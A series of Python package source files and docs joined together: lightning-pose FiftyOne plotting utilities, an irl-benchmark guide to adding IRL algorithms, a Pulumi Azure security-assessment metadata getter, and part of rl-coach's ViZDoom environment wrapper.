print(f"*** Error {e} for grid plotter with facetDims={facetDimsCheck}: try passing selDims, sumDims or facetDims manually.") # Gives "ValueError: IndexVariable objects must be 1-dimensional" for singleton facet dim case (gets squeezed out here?)
# Return data?
if returnFlag:
if not plotDict in self.data[key].keys():
self.data[key][plotDict] = {}
self.data[key][plotDict][dataType] = {'pData':subset,
pStyle:pltObj}
if self.verbose:
print(f"Set plot to self.data['{key}']['{plotDict}']['{dataType}']['{pStyle}']")
# # Return data? Note this is only set for final key value at the moment.
# if returnFlag:
# return subset
|
PypiClean
|
/lightning-pose-0.0.4.tar.gz/lightning-pose-0.0.4/lightning_pose/utils/fiftyone.py
|
import os
from typing import Dict, List, Literal, Optional, Union
import fiftyone as fo
import numpy as np
import pandas as pd
from omegaconf import DictConfig
from tqdm import tqdm
from typeguard import typechecked
from lightning_pose.utils import pretty_print_str
from lightning_pose.utils.io import return_absolute_data_paths, return_absolute_path
@typechecked
def check_lists_equal(list_1: list, list_2: list) -> bool:
return len(list_1) == len(list_2) and sorted(list_1) == sorted(list_2)
@typechecked
def remove_string_w_substring_from_list(strings: List[str], substring: str) -> List[str]:
for s in strings:
if substring in s:
strings.remove(s)
return strings
@typechecked
def check_unique_tags(data_pt_tags: List[str]) -> bool:
uniques = list(np.unique(data_pt_tags))
cond_list = ["test", "train", "validation"]
cond_list_with_unused_images = ["test", "train", "validation", "unused"]
flag = check_lists_equal(uniques, cond_list) or check_lists_equal(
uniques, cond_list_with_unused_images
)
return flag
@typechecked
def check_dataset(dataset: fo.Dataset) -> None:
pretty_print_str("Checking FiftyOne.Dataset by computing metadata... ")
try:
dataset.compute_metadata(skip_failures=False)
except ValueError:
print("Encountered error in metadata computation. See print:")
print(dataset.exists("metadata", False))
print(
"The above print should indicate bad image samples, e.g., with bad paths."
)
@typechecked
def get_image_tags(pred_df: pd.DataFrame) -> pd.Series:
# last column indicates if the image was used for training, testing, validation or
# unused at all
# zero -> unused, so explicitly replace
# NOTE: can delete this at some point, pred_df now initialized w/ "unused"
data_pt_tags = pred_df.iloc[:, -1].replace("0.0", "unused")
return data_pt_tags
# #@typechecked
# force typechecking over the entire class. right now fails due to some
# list/listconfig issue
class FiftyOneKeypointBase:
def __init__(
self,
cfg: DictConfig,
keypoints_to_plot: Optional[List[str]] = None,
) -> None:
self.cfg = cfg
self.keypoints_to_plot = keypoints_to_plot
self.dataset_name = self.cfg.eval.fiftyone.dataset_name
self.data_dir, self.video_dir = return_absolute_data_paths(
cfg.data, cfg.eval.fiftyone.get("n_dirs_back", 3))
# hard-code this for now
self.df_header_rows: List[int] = [1, 2]
# ground_truth_df is not necessary but useful for keypoint names
self.ground_truth_df: pd.DataFrame = pd.read_csv(
os.path.join(self.data_dir, self.cfg.data.csv_file),
header=self.df_header_rows,
)
if self.keypoints_to_plot is None:
# plot all keypoints that appear in the ground-truth dataframe
self.keypoints_to_plot: List[str] = list(
self.ground_truth_df.columns.levels[0]
)
# remove "bodyparts"
if "bodyparts" in self.keypoints_to_plot:
self.keypoints_to_plot.remove("bodyparts")
# remove an "Unnamed" string if exists
self.keypoints_to_plot = remove_string_w_substring_from_list(
strings=self.keypoints_to_plot, substring="Unnamed"
)
print("Plotting: ", self.keypoints_to_plot)
# make sure that bodyparts and unnamed arguments aren't there:
# for faster fiftyone access, convert gt data to dict of dicts
self.gt_data_dict: Dict[str, Dict[str, np.array]] = dfConverter(
df=self.ground_truth_df, keypoint_names=self.keypoints_to_plot
)()
# self.model_abs_paths = self.get_model_abs_paths()
#
self.pred_csv_files = [] # override in subclasses
@property
def build_speed(self) -> str:
return self.cfg.eval.fiftyone.build_speed
@property
def img_width(self) -> int:
return self.cfg.data.image_orig_dims.width
@property
def img_height(self) -> int:
return self.cfg.data.image_orig_dims.height
@property
def num_keypoints(self) -> int:
return self.cfg.data.num_keypoints
@property
def model_names(self) -> List[str]:
model_display_names = self.cfg.eval.fiftyone.model_display_names
if model_display_names is None: # model_0, model_1, ...
model_display_names = [
"model_%i" % i for i in range(len(self.pred_csv_files))
]
return model_display_names
def dataset_info_print(self) -> str:
# run after creating the dataset
pretty_print_str(
'Created FiftyOne dataset called: %s. To access it in python: fo.load_dataset("%s")'
% (self.dataset_name, self.dataset_name)
)
def get_model_abs_paths(self) -> List[str]:
model_maybe_relative_paths = self.cfg.eval.hydra_paths
model_abs_paths = [
return_absolute_path(m, n_dirs_back=2) for m in model_maybe_relative_paths
]
# assert that the model folders exist
for mod_path in model_abs_paths:
assert os.path.isdir(mod_path)
return model_abs_paths
def load_model_predictions(self) -> None:
# TODO: we have to specify the paths differently in the init method?
# take the abs paths, and load the models into a dictionary
self.model_preds_dict = {}
self.preds_pandas_df_dict = {}
for model_name, pred_csv_file in zip(self.model_names, self.pred_csv_files):
# assuming that each path of saved logs has a predictions.csv file in it
# always assume [1, 2] since our code generated the predictions
temp_df = pd.read_csv(pred_csv_file, header=[1, 2])
self.model_preds_dict[model_name] = dfConverter(
temp_df, self.keypoints_to_plot
)()
self.preds_pandas_df_dict[model_name] = temp_df
# @typechecked
def _slow_single_frame_build(
self,
data_dict: Dict[str, Dict[str, np.array]],
frame_idx: int,
) -> List[fo.Keypoint]:
# output: the positions of all keypoints in a single frame for a single model
keypoints_list = []
for kp_name in self.keypoints_to_plot: # loop over names
# write a single keypoint's position, confidence, and name
keypoints_list.append(
fo.Keypoint(
points=[
[
data_dict[kp_name]["coords"][frame_idx, 0] / self.img_width,
data_dict[kp_name]["coords"][frame_idx, 1] / self.img_height,
]
],
confidence=[data_dict[kp_name]["likelihood"][frame_idx]],
label=kp_name, # sometimes plotted aggresively
)
)
return keypoints_list
# @typechecked
def _fast_single_frame_build(
self,
data_dict: Dict[str, Dict[str, np.array]],
frame_idx: int,
) -> List[fo.Keypoint]:
# output: the positions of all keypoints in a single frame for a single model
keypoint = [
fo.Keypoint(
points=[
(
data_dict[kp_name]["coords"][frame_idx, 0] / self.img_width,
data_dict[kp_name]["coords"][frame_idx, 1] / self.img_height,
)
for kp_name in self.keypoints_to_plot
],
confidence=[
data_dict[kp_name]["likelihood"][frame_idx]
for kp_name in self.keypoints_to_plot]
)
]
return keypoint
# have two options here, "fast" and "slow"
# @typechecked
def build_single_frame_keypoints(
self, data_dict: Dict[str, Dict[str, np.array]], frame_idx: int
) -> List[fo.Keypoint]:
if self.build_speed == "fast":
return self._fast_single_frame_build(
data_dict=data_dict, frame_idx=frame_idx
)
else: # slow
return self._slow_single_frame_build(
data_dict=data_dict, frame_idx=frame_idx
)
# @typechecked
def get_keypoints_per_image(
self, data_dict: Dict[str, Dict[str, np.array]]
) -> List[fo.Keypoints]:
"""iterates over the rows of the dataframe and gathers keypoints in fiftyone format"""
dataset_length = data_dict[self.keypoints_to_plot[0]]["coords"].shape[0]
keypoints_list = []
for img_idx in tqdm(range(dataset_length)):
single_frame_keypoints_list = self.build_single_frame_keypoints(
data_dict=data_dict, frame_idx=img_idx
)
keypoints_list.append(fo.Keypoints(keypoints=single_frame_keypoints_list))
return keypoints_list
# @typechecked
def get_pred_keypoints_dict(self) -> Dict[str, List[fo.Keypoints]]:
pred_keypoints_dict = {}
# loop over the dictionary with predictions per model
for model_name, model_dict in self.model_preds_dict.items():
print("Collecting predicted keypoints for model: %s..." % model_name)
pred_keypoints_dict[model_name] = self.get_keypoints_per_image(model_dict)
return pred_keypoints_dict
def create_dataset(self):
# subclasses build their own
raise NotImplementedError
# @typechecked
class FiftyOneImagePlotter(FiftyOneKeypointBase):
def __init__(
self,
cfg: DictConfig,
keypoints_to_plot: Optional[List[str]] = None,
csv_filename: str = "predictions.csv",
) -> None:
super().__init__(cfg=cfg, keypoints_to_plot=keypoints_to_plot)
model_abs_paths = self.get_model_abs_paths()
self.pred_csv_files = [
os.path.join(model_dir, csv_filename) for model_dir in model_abs_paths
]
@property
def image_paths(self) -> List[str]:
"""extract absolute paths for all the images in the ground truth csv file
Returns:
List[str]: absolute paths per image, checked before returning.
"""
relative_list = list(self.ground_truth_df.iloc[:, 0])
absolute_list = [
os.path.join(self.data_dir, im_path) for im_path in relative_list
]
# assert that the images are indeed files
for im in absolute_list:
if not os.path.isfile(im):
raise FileNotFoundError(im)
return absolute_list
def get_gt_keypoints_list(self) -> List[fo.Keypoints]:
# for each frame, extract ground-truth keypoint information
print("Collecting ground-truth keypoints...")
return self.get_keypoints_per_image(self.gt_data_dict)
def create_dataset(self) -> fo.Dataset:
samples = []
# read each model's csv into a pandas dataframe
self.load_model_predictions()
# assumes that train,test,val split is identical for all the different models
# may be different with ensembling
self.data_tags = get_image_tags(self.preds_pandas_df_dict[self.model_names[0]])
# build the ground-truth keypoints per image
gt_keypoints_list = self.get_gt_keypoints_list()
# do the same for each model's predictions (lists are stored in a dict)
pred_keypoints_dict = self.get_pred_keypoints_dict()
pretty_print_str(
"Appending fiftyone.Keypoints to fiftyone.Sample objects, for each image..."
)
for img_idx, img_path in enumerate(tqdm(self.image_paths)):
# create a "sample" with an image and a tag (should be appended to self.samples)
sample = fo.Sample(filepath=img_path, tags=[self.data_tags[img_idx]])
# add ground truth keypoints to the sample (won't happen for video)
sample["ground_truth"] = gt_keypoints_list[img_idx] # previously created
# add model-predicted keypoints to the sample
for model_field_name, model_preds in pred_keypoints_dict.items():
sample[model_field_name + "_preds"] = model_preds[img_idx]
samples.append(sample)
fiftyone_dataset = fo.Dataset(self.dataset_name, persistent=True)
pretty_print_str("Adding samples to the dataset...")
fiftyone_dataset.add_samples(samples)
pretty_print_str("Done!")
return fiftyone_dataset
# @typechecked
class FiftyOneKeypointVideoPlotter(FiftyOneKeypointBase):
def __init__(
self,
cfg: DictConfig,
keypoints_to_plot: Optional[List[str]] = None,
**kwargs # make robust to other inputs
) -> None:
# initialize FiftyOneKeypointBase
super().__init__(cfg=cfg, keypoints_to_plot=keypoints_to_plot)
self.video: str = cfg.eval.video_file_to_plot
self.pred_csv_files: List[str] = self.cfg.eval.pred_csv_files_to_plot
# self.pred_csv_files overrides the attribute in FiftyOneKeypointBase
self.check_inputs()
self.dataset_name = self.dataset_name + "_video"
def check_inputs(self) -> None:
for f in self.pred_csv_files:
if not os.path.isfile(f):
raise FileNotFoundError(f)
if not os.path.isfile(self.video):
raise FileNotFoundError(self.video)
def create_dataset(self) -> fo.Dataset:
# read each model's csv into a pandas dataframe, save in self.model_preds_dict
self.load_model_predictions()
# modify the predictions into fiftyone format
pred_keypoints_dict = self.get_pred_keypoints_dict()
# inherited from FiftyOneKeypointBase
dataset = fo.Dataset(self.dataset_name, persistent=True)
# adding _videos so as to not overwrite existing datasets with images.
# NOTE: for now, one sample only in the dataset (one video)
# TODO: in the future, dataset could include multiple video samples
video_sample = fo.Sample(filepath=self.video)
first_model_name = list(pred_keypoints_dict.keys())[0]
pretty_print_str(
"Appending fiftyone.Keypoints to a fiftyone.Sample object for video, for each frame..."
)
for frame_idx in tqdm(range(len(pred_keypoints_dict[first_model_name]))):
for model_field_name, model_preds in pred_keypoints_dict.items():
video_sample.frames[frame_idx + 1][
model_field_name + "_preds"
] = model_preds[frame_idx]
# fo.Frame(keypoints=model_preds[frame_idx]) raised some issues
pretty_print_str("Adding a fiftyone.Sample to fiftyone.Dataset...")
dataset.add_sample(video_sample)
pretty_print_str("Done!")
return dataset
# @typechecked
class dfConverter:
def __init__(self, df: pd.DataFrame, keypoint_names: List[str]) -> None:
self.df = df
self.keypoint_names = keypoint_names
def dict_per_bp(self, keypoint_name: str) -> Dict[str, np.array]:
bp_df = self.df[keypoint_name]
coords = bp_df[["x", "y"]].to_numpy()
if "likelihood" in bp_df:
likelihood = bp_df["likelihood"].to_numpy()
else:
likelihood = np.ones(shape=coords.shape[0])
return {"coords": coords, "likelihood": likelihood}
def __call__(self) -> Dict[str, Dict[str, np.array]]:
full_dict = {}
for kp_name in self.keypoint_names:
full_dict[kp_name] = self.dict_per_bp(kp_name)
return full_dict
# @typechecked
class FiftyOneFactory:
def __init__(self, dataset_to_create: Literal["images", "videos"]) -> None:
self.dataset_to_create = dataset_to_create
def __call__(self) -> Union[FiftyOneImagePlotter, FiftyOneKeypointVideoPlotter]:
if self.dataset_to_create == "images":
return FiftyOneImagePlotter
else:
return FiftyOneKeypointVideoPlotter
|
PypiClean
|
/irl-benchmark-0.1.0.tar.gz/irl-benchmark-0.1.0/docs/extending.rst
|
Extending the benchmark
=======================
This guide provides information on how to extend the benchmark, e.g. to add a new IRL algorithm. We cover four possible extension: adding new environments, adding new IRL algorithms, adding new RL algorithms, and adding new metrics.
We are happy to add new extensions to the main benchmark. If you are interested in collaborating, please see our :doc:`collaboration guide<collaboration>`.
Environments
------------
``TODO``
``TODO``: also talk here about collecting expert trajectories. The expert trajectories need to contain features, potentially artificially wrapped added with FeatureWrapper?
IRL algorithms
--------------
All IRL algorithms have to extend the abstract base class :class:`BaseIRLAlgorithm<.irl.algorithms.base_algorithm.BaseIRLAlgorithm>`:
.. code-block:: python
from irl_baselines.irl.algorithms.base_algorithm import BaseIRLAlgorithm
class ExampleIRL(BaseIRLAlgorithm):
"""An example IRL algorithm"""
Initializing
^^^^^^^^^^^^
If your algorithm class implements it's own ``__init__`` method, make sure that the base class ``__init__`` is called as well. This is necessary since in this way the passed config is preprocessed correctly. Please use the same parameters for the new ``__init__`` and don't add additional ones. Any additional parameters required by your algorithm should go into the config dictionary.
.. code-block:: python
:emphasize-lines: 5
def __init__(self, env: gym.Env, expert_trajs: List[Dict[str, list]],
rl_alg_factory: Callable[[gym.Env], BaseRLAlgorithm],
config: dict):
""" docstring ... """
super(ExampleIRL, self).__init__(env, expert_trajs, rl_alg_factory, config)
Let's go over the four parameters that are always passed to an IRL algorithm when it is created:
* ``env`` is an openAI gym environment, at least wrapped in a :class:`RewardWrapper<.irl_benchmark.irl.reward.reward_wrapper.RewardWrapper>`. The reward wrapper will make sure that the environment's true reward function is not accidentally leaked to the IRL algorithm. If required, the true reward can still be read from the info dictionary returned by the environments ``step`` function as follows:
.. code-block:: python
:emphasize-lines: 2
state, reward, done, info = env.step(action)
print(info['true_reward'])
* ``expert_trajs`` is a list of trajectories collected from the expert. Each trajectory is a dictionary with keys ``['states', 'actions', 'rewards', 'true_rewards', 'features']``. Each value in the dictionary is a list, containing e.g. all states ordered by time. The states list will have one more element than the others, since it contains both the initial and final state. In the case of expert trajectories, ``true_rewards`` will be an empty list. See :func:`collect_trajs<irl_benchmark.irl.collect.collect_trajs>` which defines how trajectories are generated.
* ``rl_alg_factory`` is a function which takes an environment and returns a newly initialized reinforcement learning algorithm. This is used to keep the IRL algorithms flexible about which concrete RL algorithm they can be used with. If your IRL algorithm requires a specific RL algorithm (such as in guided cost learning), simply overwrite ``self.rl_alg_factory`` in your ``__init__`` after calling the base class ``__init__``.
.. code-block:: python
:emphasize-lines: 7,8,9,10
def __init__(self, env: gym.Env, expert_trajs: List[Dict[str, list]],
rl_alg_factory: Callable[[gym.Env], BaseRLAlgorithm],
config: dict):
""" docstring ... """
super(ExampleIRL, self).__init__(env, expert_trajs, rl_alg_factory, config)
# enforce use of specific RL algorithm:
def specific_rl_alg_factory(env: gym.Env):
return SpecificRlAlg(env, {'hyperparam': 42})
self.rl_alg_factory = specific_rl_alg_factory
* ``config`` is a dictionary containing algorithm-specific hyperparameters. To make sure we can call IRL algorithms in a unified way, you have to specify which hyperparameters your algorithm can take, as well as legal ranges and defaults. This is done as follows:
.. code-block:: python
:emphasize-lines: 10-29
from irl_benchmark.config import IRL_CONFIG_DOMAINS
from irl_baselines.irl.algorithms.base_algorithm import BaseIRLAlgorithm
class ExampleIRL(BaseIRLAlgorithm):
"""An example IRL algorithm"""
# implementation here
# ...
# ...
IRL_CONFIG_DOMAINS[ExampleIRL] = {
'gamma': {
'type': float,
'min': 0.0,
'max': 1.0,
'default': 0.9,
},
'hyperparam1': {
'type': 'categorical',
'values': ['a', 'b'],
'default': 'a',
},
'temperature': {
'type': float,
'optional': True, # allows value to be None
'min': 1e-10,
'max': float('inf'),
'default': None
}
}
Training
^^^^^^^^
The :class:`BaseIRLAlgorithm<.irl.algorithms.base_algorithm.BaseIRLAlgorithm>`: class provides the abstract method :meth:`train<.irl.algorithms.base_algorithm.BaseIRLAlgorithm.train>` as an interface of how IRL algorithms are run. You have to overwrite this method in your own implementation. The required parameters are:
* ``no_irl_iterations``: an integer specifying for how many iterations the algorithm should be run.
* ``no_rl_episodes_per_irl_iteration``: an integer specifying how many episodes the RL agent is allowed to run in each iteration.
* ``no_irl_episodes_per_irl_iteration``: an integer specifying how many episodes the IRL algorithm is allowed to run in addition to the RL episodes in each iteration. This can be used to collect empirical information with the trained agent, e.g. feature counts from the currently optimal policy.
The train method returns a tuple containing the current reward function estimate on first position, and the trained agent on second position.
``TODO``: link here to description of the interface provided by the RL algorithm. Show code example
Useful methods
^^^^^^^^^^^^^^
The :class:`BaseIRLAlgorithm<.irl.algorithms.base_algorithm.BaseIRLAlgorithm>`: class comes with some useful methods that can be used in different subclasses.
* There is a method to calculate discounted feature counts: :meth:`feature_count<.irl.algorithms.base_algorithm.BaseIRLAlgorithm.feature_count>`
RL algorithms
-------------
Metrics
-------
|
PypiClean
|
/pulumi_azure_native-2.5.1a1693590910.tar.gz/pulumi_azure_native-2.5.1a1693590910/pulumi_azure_native/security/v20190101preview/get_assessments_metadata_subscription.py
|
import copy
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
__all__ = [
'GetAssessmentsMetadataSubscriptionResult',
'AwaitableGetAssessmentsMetadataSubscriptionResult',
'get_assessments_metadata_subscription',
'get_assessments_metadata_subscription_output',
]
@pulumi.output_type
class GetAssessmentsMetadataSubscriptionResult:
"""
Security assessment metadata
"""
def __init__(__self__, assessment_type=None, categories=None, description=None, display_name=None, id=None, implementation_effort=None, name=None, policy_definition_id=None, preview=None, remediation_description=None, severity=None, threats=None, type=None, user_impact=None):
if assessment_type and not isinstance(assessment_type, str):
raise TypeError("Expected argument 'assessment_type' to be a str")
pulumi.set(__self__, "assessment_type", assessment_type)
if categories and not isinstance(categories, list):
raise TypeError("Expected argument 'categories' to be a list")
pulumi.set(__self__, "categories", categories)
if description and not isinstance(description, str):
raise TypeError("Expected argument 'description' to be a str")
pulumi.set(__self__, "description", description)
if display_name and not isinstance(display_name, str):
raise TypeError("Expected argument 'display_name' to be a str")
pulumi.set(__self__, "display_name", display_name)
if id and not isinstance(id, str):
raise TypeError("Expected argument 'id' to be a str")
pulumi.set(__self__, "id", id)
if implementation_effort and not isinstance(implementation_effort, str):
raise TypeError("Expected argument 'implementation_effort' to be a str")
pulumi.set(__self__, "implementation_effort", implementation_effort)
if name and not isinstance(name, str):
raise TypeError("Expected argument 'name' to be a str")
pulumi.set(__self__, "name", name)
if policy_definition_id and not isinstance(policy_definition_id, str):
raise TypeError("Expected argument 'policy_definition_id' to be a str")
pulumi.set(__self__, "policy_definition_id", policy_definition_id)
if preview and not isinstance(preview, bool):
raise TypeError("Expected argument 'preview' to be a bool")
pulumi.set(__self__, "preview", preview)
if remediation_description and not isinstance(remediation_description, str):
raise TypeError("Expected argument 'remediation_description' to be a str")
pulumi.set(__self__, "remediation_description", remediation_description)
if severity and not isinstance(severity, str):
raise TypeError("Expected argument 'severity' to be a str")
pulumi.set(__self__, "severity", severity)
if threats and not isinstance(threats, list):
raise TypeError("Expected argument 'threats' to be a list")
pulumi.set(__self__, "threats", threats)
if type and not isinstance(type, str):
raise TypeError("Expected argument 'type' to be a str")
pulumi.set(__self__, "type", type)
if user_impact and not isinstance(user_impact, str):
raise TypeError("Expected argument 'user_impact' to be a str")
pulumi.set(__self__, "user_impact", user_impact)
@property
@pulumi.getter(name="assessmentType")
def assessment_type(self) -> str:
"""
BuiltIn if the assessment based on built-in Azure Policy definition, Custom if the assessment based on custom Azure Policy definition
"""
return pulumi.get(self, "assessment_type")
@property
@pulumi.getter
def categories(self) -> Optional[Sequence[str]]:
return pulumi.get(self, "categories")
@property
@pulumi.getter
def description(self) -> Optional[str]:
"""
Human readable description of the assessment
"""
return pulumi.get(self, "description")
@property
@pulumi.getter(name="displayName")
def display_name(self) -> str:
"""
User friendly display name of the assessment
"""
return pulumi.get(self, "display_name")
@property
@pulumi.getter
def id(self) -> str:
"""
Resource Id
"""
return pulumi.get(self, "id")
@property
@pulumi.getter(name="implementationEffort")
def implementation_effort(self) -> Optional[str]:
"""
The implementation effort required to remediate this assessment
"""
return pulumi.get(self, "implementation_effort")
@property
@pulumi.getter
def name(self) -> str:
"""
Resource name
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="policyDefinitionId")
def policy_definition_id(self) -> str:
"""
Azure resource ID of the policy definition that turns this assessment calculation on
"""
return pulumi.get(self, "policy_definition_id")
@property
@pulumi.getter
def preview(self) -> Optional[bool]:
"""
True if this assessment is in preview release status
"""
return pulumi.get(self, "preview")
@property
@pulumi.getter(name="remediationDescription")
def remediation_description(self) -> Optional[str]:
"""
Human readable description of what you should do to mitigate this security issue
"""
return pulumi.get(self, "remediation_description")
@property
@pulumi.getter
def severity(self) -> str:
"""
The severity level of the assessment
"""
return pulumi.get(self, "severity")
@property
@pulumi.getter
def threats(self) -> Optional[Sequence[str]]:
return pulumi.get(self, "threats")
@property
@pulumi.getter
def type(self) -> str:
"""
Resource type
"""
return pulumi.get(self, "type")
@property
@pulumi.getter(name="userImpact")
def user_impact(self) -> Optional[str]:
"""
The user impact of the assessment
"""
return pulumi.get(self, "user_impact")
class AwaitableGetAssessmentsMetadataSubscriptionResult(GetAssessmentsMetadataSubscriptionResult):
# pylint: disable=using-constant-test
def __await__(self):
if False:
yield self
return GetAssessmentsMetadataSubscriptionResult(
assessment_type=self.assessment_type,
categories=self.categories,
description=self.description,
display_name=self.display_name,
id=self.id,
implementation_effort=self.implementation_effort,
name=self.name,
policy_definition_id=self.policy_definition_id,
preview=self.preview,
remediation_description=self.remediation_description,
severity=self.severity,
threats=self.threats,
type=self.type,
user_impact=self.user_impact)
def get_assessments_metadata_subscription(assessment_metadata_name: Optional[str] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetAssessmentsMetadataSubscriptionResult:
"""
Get metadata information on an assessment type in a specific subscription
:param str assessment_metadata_name: The Assessment Key - Unique key for the assessment type
"""
__args__ = dict()
__args__['assessmentMetadataName'] = assessment_metadata_name
opts = pulumi.InvokeOptions.merge(_utilities.get_invoke_opts_defaults(), opts)
__ret__ = pulumi.runtime.invoke('azure-native:security/v20190101preview:getAssessmentsMetadataSubscription', __args__, opts=opts, typ=GetAssessmentsMetadataSubscriptionResult).value
return AwaitableGetAssessmentsMetadataSubscriptionResult(
assessment_type=pulumi.get(__ret__, 'assessment_type'),
categories=pulumi.get(__ret__, 'categories'),
description=pulumi.get(__ret__, 'description'),
display_name=pulumi.get(__ret__, 'display_name'),
id=pulumi.get(__ret__, 'id'),
implementation_effort=pulumi.get(__ret__, 'implementation_effort'),
name=pulumi.get(__ret__, 'name'),
policy_definition_id=pulumi.get(__ret__, 'policy_definition_id'),
preview=pulumi.get(__ret__, 'preview'),
remediation_description=pulumi.get(__ret__, 'remediation_description'),
severity=pulumi.get(__ret__, 'severity'),
threats=pulumi.get(__ret__, 'threats'),
type=pulumi.get(__ret__, 'type'),
user_impact=pulumi.get(__ret__, 'user_impact'))
@_utilities.lift_output_func(get_assessments_metadata_subscription)
def get_assessments_metadata_subscription_output(assessment_metadata_name: Optional[pulumi.Input[str]] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> pulumi.Output[GetAssessmentsMetadataSubscriptionResult]:
"""
Get metadata information on an assessment type in a specific subscription
:param str assessment_metadata_name: The Assessment Key - Unique key for the assessment type
"""
...
|
PypiClean
|
/rl-coach-1.0.1.tar.gz/rl-coach-1.0.1/rl_coach/environments/doom_environment.py
|
try:
import vizdoom
except ImportError:
from rl_coach.logger import failed_imports
failed_imports.append("ViZDoom")
import os
from enum import Enum
from os import path, environ
from typing import Union, List
import numpy as np
from rl_coach.base_parameters import VisualizationParameters
from rl_coach.environments.environment import Environment, EnvironmentParameters, LevelSelection
from rl_coach.filters.action.full_discrete_action_space_map import FullDiscreteActionSpaceMap
from rl_coach.filters.filter import InputFilter, OutputFilter
from rl_coach.filters.observation.observation_rescale_to_size_filter import ObservationRescaleToSizeFilter
from rl_coach.filters.observation.observation_rgb_to_y_filter import ObservationRGBToYFilter
from rl_coach.filters.observation.observation_stacking_filter import ObservationStackingFilter
from rl_coach.filters.observation.observation_to_uint8_filter import ObservationToUInt8Filter
from rl_coach.spaces import MultiSelectActionSpace, ImageObservationSpace, \
VectorObservationSpace, StateSpace
# enum of the available levels and their path
class DoomLevel(Enum):
BASIC = "basic.cfg"
DEFEND = "defend_the_center.cfg"
DEATHMATCH = "deathmatch.cfg"
MY_WAY_HOME = "my_way_home.cfg"
TAKE_COVER = "take_cover.cfg"
HEALTH_GATHERING = "health_gathering.cfg"
HEALTH_GATHERING_SUPREME_COACH_LOCAL = "D2_navigation.cfg" # from https://github.com/IntelVCL/DirectFuturePrediction/tree/master/maps
DEFEND_THE_LINE = "defend_the_line.cfg"
DEADLY_CORRIDOR = "deadly_corridor.cfg"
BATTLE_COACH_LOCAL = "D3_battle.cfg" # from https://github.com/IntelVCL/DirectFuturePrediction/tree/master/maps
key_map = {
'NO-OP': 96, # `
'ATTACK': 13, # enter
'CROUCH': 306, # ctrl
'DROP_SELECTED_ITEM': ord("t"),
'DROP_SELECTED_WEAPON': ord("t"),
'JUMP': 32, # spacebar
'LAND': ord("l"),
'LOOK_DOWN': 274, # down arrow
'LOOK_UP': 273, # up arrow
'MOVE_BACKWARD': ord("s"),
'MOVE_DOWN': ord("s"),
'MOVE_FORWARD': ord("w"),
'MOVE_LEFT': 276,
'MOVE_RIGHT': 275,
'MOVE_UP': ord("w"),
'RELOAD': ord("r"),
'SELECT_NEXT_WEAPON': ord("q"),
'SELECT_PREV_WEAPON': ord("e"),
'SELECT_WEAPON0': ord("0"),
'SELECT_WEAPON1': ord("1"),
'SELECT_WEAPON2': ord("2"),
'SELECT_WEAPON3': ord("3"),
'SELECT_WEAPON4': ord("4"),
'SELECT_WEAPON5': ord("5"),
'SELECT_WEAPON6': ord("6"),
'SELECT_WEAPON7': ord("7"),
'SELECT_WEAPON8': ord("8"),
'SELECT_WEAPON9': ord("9"),
'SPEED': 304, # shift
'STRAFE': 9, # tab
'TURN180': ord("u"),
'TURN_LEFT': ord("a"), # left arrow
'TURN_RIGHT': ord("d"), # right arrow
'USE': ord("f"),
}
DoomInputFilter = InputFilter(is_a_reference_filter=True)
DoomInputFilter.add_observation_filter('observation', 'rescaling',
ObservationRescaleToSizeFilter(ImageObservationSpace(np.array([60, 76, 3]),
high=255)))
DoomInputFilter.add_observation_filter('observation', 'to_grayscale', ObservationRGBToYFilter())
DoomInputFilter.add_observation_filter('observation', 'to_uint8', ObservationToUInt8Filter(0, 255))
DoomInputFilter.add_observation_filter('observation', 'stacking', ObservationStackingFilter(3))
DoomOutputFilter = OutputFilter(is_a_reference_filter=True)
DoomOutputFilter.add_action_filter('to_discrete', FullDiscreteActionSpaceMap())
class DoomEnvironmentParameters(EnvironmentParameters):
def __init__(self, level=None):
super().__init__(level=level)
self.default_input_filter = DoomInputFilter
self.default_output_filter = DoomOutputFilter
self.cameras = [DoomEnvironment.CameraTypes.OBSERVATION]
@property
def path(self):
return 'rl_coach.environments.doom_environment:DoomEnvironment'
class DoomEnvironment(Environment):
class CameraTypes(Enum):
OBSERVATION = ("observation", "screen_buffer")
DEPTH = ("depth", "depth_buffer")
LABELS = ("labels", "labels_buffer")
MAP = ("map", "automap_buffer")
def __init__(self, level: LevelSelection, seed: int, frame_skip: int, human_control: bool,
custom_reward_threshold: Union[int, float], visualization_parameters: VisualizationParameters,
cameras: List[CameraTypes], target_success_rate: float=1.0, **kwargs):
"""
:param level: (str)
A string representing the doom level to run. This can also be a LevelSelection object.
This should be one of the levels defined in the DoomLevel enum. For example, HEALTH_GATHERING.
:param seed: (int)
A seed to use for the random number generator when running the environment.
:param frame_skip: (int)
The number of frames to skip between any two actions given by the agent. The action will be repeated
for all the skipped frames.
:param human_control: (bool)
A flag that allows controlling the environment using the keyboard keys.
:param custom_reward_threshold: (float)
Allows defining a custom reward that will be used to decide when the agent succeeded in passing the environment.
:param visualization_parameters: (VisualizationParameters)
The parameters used for visualizing the environment, such as the render flag, storing videos etc.
:param cameras: (List[CameraTypes])
A list of camera types to use as observation in the state returned from the environment.
Each camera should be an enum from CameraTypes, and there are several options like an RGB observation,
a depth map, a segmentation map, and a top down map of the enviornment.
:param target_success_rate: (float)
Stop experiment if given target success rate was achieved.
"""
super().__init__(level, seed, frame_skip, human_control, custom_reward_threshold, visualization_parameters, target_success_rate)
self.cameras = cameras
# load the emulator with the required level
self.level = DoomLevel[level.upper()]
local_scenarios_path = path.join(os.path.dirname(os.path.realpath(__file__)), 'doom')
if 'COACH_LOCAL' in level:
self.scenarios_dir = local_scenarios_path
elif 'VIZDOOM_ROOT' in environ:
self.scenarios_dir = path.join(environ.get('VIZDOOM_ROOT'), 'scenarios')
else:
self.scenarios_dir = path.join(os.path.dirname(os.path.realpath(vizdoom.__file__)), 'scenarios')
self.game = vizdoom.DoomGame()
self.game.load_config(path.join(self.scenarios_dir, self.level.value))
self.game.set_window_visible(False)
self.game.add_game_args("+vid_forcesurface 1")
self.wait_for_explicit_human_action = True
if self.human_control:
self.game.set_screen_resolution(vizdoom.ScreenResolution.RES_640X480)
elif self.is_rendered:
self.game.set_screen_resolution(vizdoom.ScreenResolution.RES_320X240)
else:
# lower resolution since we actually take only 76x60 and we don't need to render
self.game.set_screen_resolution(vizdoom.ScreenResolution.RES_160X120)
self.game.set_render_hud(False)
